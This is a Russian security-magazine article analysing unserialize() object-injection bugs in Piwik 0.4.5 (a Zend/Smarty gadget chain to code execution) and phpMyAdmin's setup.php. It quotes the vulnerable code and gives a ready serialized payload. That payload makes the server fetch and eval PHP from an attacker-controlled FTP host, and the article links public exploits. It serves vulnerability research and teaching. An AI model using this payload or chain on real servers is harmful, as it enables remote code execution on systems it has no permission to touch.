Приветствую тебя, читатель! В январском номере ][ мы подробно рассмотрели
один из новейших багов в
PHP от известного специалиста по информационной безопасности Стефана Эссера
.
Как ты наверное помнишь, баг заключается в небезопасном использовании функции
unserialize применительно к объектам. В прошлой статье я говорил о том, что
данное исследование направлено на будущее, так как в реальных веб-приложениях
более или менее серьезные уязвимости десериализации пока не были обнаружены. И
вот… Будущее уже наступило! Пришла пора показать тебе подробный разбор таких
багов в популярнейших скриптах Piwik и phpMyAdmin.

 

Немного о Piwik

Для начала расскажу тебе немного о Piwik. Итак, Piwik – это бесплатный скрипт
веб-аналитики, позиционируемый как опенсорсная замена Google analytics. Эта
система выросла из менее навороченного скрипта
phpMyVisites. Функционал
Пивика впечатляет: продвинутая система плагинов (похожая на аналогичную в
WordPress), удобный API (ты можешь получать любую инфу из базы данных в форматах
xml, json, php, csv), интерфейс юзера, основанный на виджетах (с drag and
drop-примочками), перевод на множество языков, real time-репорты и многие другие
фичи уже сделали этот скрипт мегапопулярным среди веб-мастеров (только последнюю
версию скачали около 250 тысяч раз).

Популярность скрипта подтверждают те факты, что Piwik несколько раз
становился проектом месяца на sourceforge.net и выигрывал премию "Infoworld
Bossie Award" как лучшее опенсорсное программное обеспечение. Я могу еще долго
описывать все преимущества скрипта, но настало время рассказать о природе
unserialize бага в Piwik.

 

Zend Framework

Как ты уже знаешь, Стефан Эссер в своей презентации приводил теоретические
примеры выполнения произвольного PHP-кода в Zend Framework и писал о том, что
сам фреймворк не подвержен уязвимости – уязвимы лишь те приложения, которые его
используют вкупе с недостаточной проверкой данных в функции unserialize().

Как оказалось, Piwik как раз-таки и является тем самым приложением 🙂 Теперь
давай проследим за реверсингом скрипта, который провел сам Эссер (качай по
ссылке в сносках последнюю уязвимую версию 0.4.5 из архива релизов).

Открывай файл ./core/Cookie.php и находи следующую функцию:

protected function loadContentFromCookie()
{
$cookieStr = $_COOKIE[$this->name];
$values = explode( self::VALUE_SEPARATOR, $cookieStr);
foreach($values as $nameValue)
{
...
if(!is_numeric($varValue))
{
$varValue = base64_decode($varValue);

// some of the values may be serialized array so we try to...
if( ($arrayValue = @unserialize($varValue)) !== false
// we set the unserialized version only for arrays...
&& is_array($arrayValue)
)
{
$varValue = $arrayValue;
}
...
}

Как видно, здесь Пивик получает контент из куков, которые передает
пользователь, и разбирает их на запчасти:

  • значение кукиса разбивается по знаку "=", первая часть – имя переменной,
    вторая – значение;
  • далее значение переменной пропускается через base64_decode() (что,
    кстати, помогает безболезненно передавать нулл-байт) и через нужную нам
    функцию unserialize().

Эта функция юзается практически в любом месте скрипта (например, для
авторизации по кукам) и доступна любому удаленному пользователю, так что нам
осталось только найти путь к опасным функциям в Zend Framework. Двигаем дальше
🙂

 

Реверсинг

Если ты читал оригинальный PDF Эссера, то должен помнить, что наиболее
удобным классом для выполнения произвольного кода во фреймворке является
Zend_Log. Так что ищем и находим этот класс в ./libs/Zend/Log.php и смотрим на
его деструктор:

public function __destruct()
{
foreach($this->_writers as $writer) {
$writer->shutdown();
}
}

Здесь деструктор в цикле выполняет некий метод shutdown() из классов,
перечисленных в массиве _writers. Далее нужно найти полезный нам shutdown-метод.
И таковой находится в ./libs/Zend/Log/Writer/Mail.php:

public function shutdown()
{
...
if (empty($this->_eventsToMail)) {
return;
}
...
if ($this->_layout) {
...
// If an exception occurs during rendering, convert it to a notice
// so we can avoid an exception thrown without a stack frame.
try {
$this->_mail->setBodyHtml($this->_layout->render());
} catch (Exception $e) {
...
try {
$this->_mail->send();
} catch (Exception $e) {
...
}
...
}

Этот шатдаун-метод проверяет, есть ли некие события, которые еще не были
отправлены по указанному в свойстве адресу e-mail. Если такие находятся, то он
отправляет их. Эта фича позволяет любому взломщику рассылать спам через тот же
самый unserialize-баг.

Спам-баг, конечно, может быть интересен определенному кругу читателей, но мы
со Стефаном не останавливаемся на достигнутом и идем дальше :). Теперь нам
необходимо найти классы, использующие метод render. Наиболее полезный из таковых
оказывается в классе Piwik_View из файла ./core/View.php:

public function render()
{
try {
...
} catch(Exception $e) {
// can fail, for example at installation (no plugin loaded yet)
}
...
return $this->smarty->fetch($this->template);
}

Как пишет сам Эссер, этот метод делает кучу интересных вещей, которые могут
быть проигнорированы, и в конце вызывает известный шаблонный движок Smarty для
рендеринга темплейта.

 

Опасный Smarty

Известно, что Smarty может выполнять PHP-код в темплейтах, поэтому мы и
выбрали для дальнейшего исследования этот класс. Итак, смотрим на указанную выше
функцию fetch() в ./libs/Smarty/Smarty.class.php:

function fetch($resource_name, $cache_id = null, ...)
{
...
if ($display && !$this->caching && count($this->_plugins['outputfilter']) == 0)
{
if ($this->_is_compiled($resource_name, $_smarty_compile_path)
|| $this->_compile_resource($resource_name, $_smarty_compile_path))
{
include($_smarty_compile_path);
}
} else {
...

Здесь имя шаблона подставляется в метод _compile_resource для компиляции:

function _compile_resource($resource_name, $compile_path)
{

$_params = array('resource_name' => $resource_name);
if (!$this->_fetch_resource_info($_params)) {
return false;
}
...

Перед компиляцией методом _fetch_resource_info получается расширенная
информация о ресурсе:

function _fetch_resource_info(&$params)
{
...
switch ($_resource_type) {
case 'file':
...
break;

default:
// call resource functions to fetch the template source and timestamp
if ($params['get_source']) {
$_source_return = isset($this->_plugins['resource'][$_resource_type]) &&
call_user_func_array($this->_plugins['resource'][$_resource_type][0][0],
array($_resource_name, &$params['source_content'], &$this));
...
}

Бинго! С помощью стандартной PHP-функции call_user_func_array мы сможем
выполнить любую другую callback-функцию :).

 

Выполнение кода

В данном примере функция call_user_func_array вызывается с двумя параметрами:
имя вызываемой callback-функции и массив с тремя параметрами, которые
передадутся в коллбэк.

В контексте выполнения произвольного PHP-кода здесь сразу встают две
проблемы:

  1. eval(), обычно применяемый для сабжа, является конструкцией языка, а не
    функцией, то есть его невозможно вызвать через call_user_func_array;
  2. assert() (как замена eval) уже является функцией, но ее вызов выдаст
    ошибку, так как коллбэку передаются 3 параметра, а assert принимает лишь
    один.

Из-за этих ограничений Стефану пришлось придумать небольшой трюк, который
заключается в использовании встроенного в Smarty враппера для eval:

function _eval($code, $params=null)
{
return eval($code);
}

Хотя эта функция по определению принимает лишь 2 параметра, ей возможно
передать и большее их количество.

Причиной этого является тот факт, что по дефолту пользовательские функции в
PHP, в отличие от внутренних, могут оперировать произвольным числом параметров.

Теперь нам осталось лишь собрать в единый эксплойт все результаты реверсинга,
что Стефан Эссер уже сделал (ссылку ищи в сносках).

В сплойте сериализуются все перечисленные выше классы и необходимые им
методы, затем полученное значение пропускается через base64_encode и, на основе
его, формируется evil-кукис, который ты сможешь скормить своему браузеру и
наслаждаться результатами выполнения произвольного PHP-кода в Piwik.

Также советую обратить внимание на еще один эксплойт по ссылке в сносках, где
Эссер проворачивает еще один трюк с unserialize в Пивике и записывает
произвольные файлы в произвольное место системы.

 

Потрошим phpMyAdmin

Теперь небольшой бонус от меня. Если ты следишь за лентами эксплойтов, то,
наверняка, не должен был пропустить уязвимость популярнейшего менеджера баз
данных MySql phpMyAdmin версий до 2.11.9. Уязвимость заключалась в том, что
скрипт установки ./scripts/setup.php вообще не проверял пользовательские данные,
которые затем записывались в конфигурационный файл.

Эксплойт был всем хорош, за исключением того, что администратор уязвимого
хоста должен был вручную создать директорию ./config и дать ей права на запись
(именно туда должен был записываться ядовитый конфиг), что на практике
встречалось крайне редко. Настало время исправить это недоразумение.

Итак, ./scripts/setup.php – единственное место в скрипте, где используется
наша любимая функция unserialize:

if (isset($_POST['configuration']) && $action != 'clear') {
// Grab previous configuration, if it should not be cleared
$configuration = unserialize($_POST['configuration']);
}

Как можно видеть, параметр $_POST[‘configuration’] перед вставкой в
unserialize() никоим образом не проверяется, так что мы вполне можем поискать
интересные реализации волшебных методов __wakeup и __destruct. Очень полезный
нам вэйкап-метод находится в ./libraries/Config.class.php:

function __wakeup()
{
if (! $this->checkConfigSource()
|| $this->source_mtime !== filemtime($this->getSource())
|| $this->default_source_mtime !== filemtime($this->default_source)
|| $this->error_config_file
|| $this->error_config_default_file) {
$this->settings = array();
$this->load();
$this->checkSystem();
}
...
}

В данном методе происходит много чего интересного, но сейчас нас интересует
функция load(). Находим ее в том же файле:

function load($source = null)
{
...
if (! $this->checkConfigSource()) {
return false;
}
...
if (function_exists('file_get_contents')) {
$eval_result =
eval('?>' . trim(file_get_contents($this->getSource())));
} else {
$eval_result =
eval('?>' . trim(implode("\n", file($this->getSource()))));
}
...
}

Надеюсь, что ты увидел здесь eval-конструкцию, которая позволит нам выполнить
любой PHP-код и в которую мы сможем вставить все что угодно :). Сделать это
позволит простенький метод getSource и обход ограничений безопасности в методе
checkConfigSource:

function getSource()
{
return $this->source;
}
...
function checkConfigSource()
{
...
if (! file_exists($this->getSource())) {
...
return false;
}
if (! is_readable($this->getSource())) {
...
die('Existing configuration file (' . $this->getSource() . ') is not readable.');
}
...
$perms = @fileperms($this->getSource());
if (!($perms === false) && ($perms & 2)) {
...
die('Wrong permissions on configuration file, should not be world writable!');
}
return true;
}

Последний метод выполняет всяческие проверки с тем файлом, который, по идее,
должен быть конфигурационным. Функции file_exists(), is_readable() и fileperms()
изначально были призваны помешать вставить в нужный нам file_get_contents()
удаленный URL с PHP кодом на выполнение.
Здесь кроется один нюанс. Начиная с PHP 5, все перечисленные функции вполне
отлично работают с протоклом ftp, то есть конструкция вида file_exists(‘ftp://ftp.com/shell.txt’)
вернет true. С обычным http нам вряд ли бы такое удалось.

Исходя из всего написанного выше, уже можно составить ядовитое значение,
которое будет передаваться в unserialize, для уязвимого параметра $_POST[‘configuration’]
(устанавливаем только свойство "source"):

O:10:"PMA_Config":1:{s:6:"source";s:70:"ftp://login:password@tvoy_host.com/www/shell.txt";}

Чтобы вывести на экран phpinfo(), файл shell.txt на твоем ftp-хосте должен
иметь значение "<? phpinfo();exit; ?>" (exit; в конце обязательно, иначе скрипт
вылетит с "Fatal error"). Удобный эксплойт для этой баги также ищи в сносках.

 

Epic Win

Уязвимости, основанные не на невнимательности программистов, а на
особенностях самого PHP, о которых не все знают, набирают силу! С каждым днем их
появляется все больше и больше. Этот факт заставляет нас гораздо глубже
анализировать свой (и чужой 🙂 код и учиться лучше понимать саму природу
информационной безопасности. А я надеюсь, что ты, изучив вместе со мной по шагам
всю подноготную unserialize-бага от Стефана Эссера, сам захочешь принять участие
в пентестинге известных движков.

 

INFO

Советую прочитать отличную заметку на тему нашей статьи в

блоге Raz0r’а
. Тут ты также найдешь неплохой анализ unserialize-бага в
нелицензионных версиях форума vBulletin, который, к сожалению, позволяет
выполнить лишь функции без параметров.

 

Ссылки

piwik.org – официальный сайт
Piwik


builds.piwik.org/?C=M;O=D
– архив релизов Piwik


suspekt.org/2009/12/09/advisory-032009-piwik-cookie-unserialize-vulnerability

– Piwik Cookie unserialize() Vulnerability


framework.zend.com/download
– официальная страница Zend Framework

smarty.net – официальный сайт
Smarty


php.net/call_user_func_array
– описание функции call_user_func_array()


suspekt.org/downloads/Piwik_Smarty.txt
– выполнение произвольного кода в
Piwik через Smarty


suspekt.org/downloads/Piwik_Config.txt
– запись произвольных файлов в Piwik


gnucitizen.org/static/blog/2009/06/phpmyadminrcesh.txt
– phpMyAdmin ‘/scripts/setup.php’
PHP Code Injection RCE PoC v0.11


snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit

– мой эксплойт для phpMyAdmin <= 2.11.9

Оставить мнение

Check Also

Хакер ищет авторов. Читатель? Хакер? Программист? Безопасник? Мы тебе рады!

Восемнадцать лет мы делаем лучшее во всем русскоязычном пространстве издание по IT и инфор…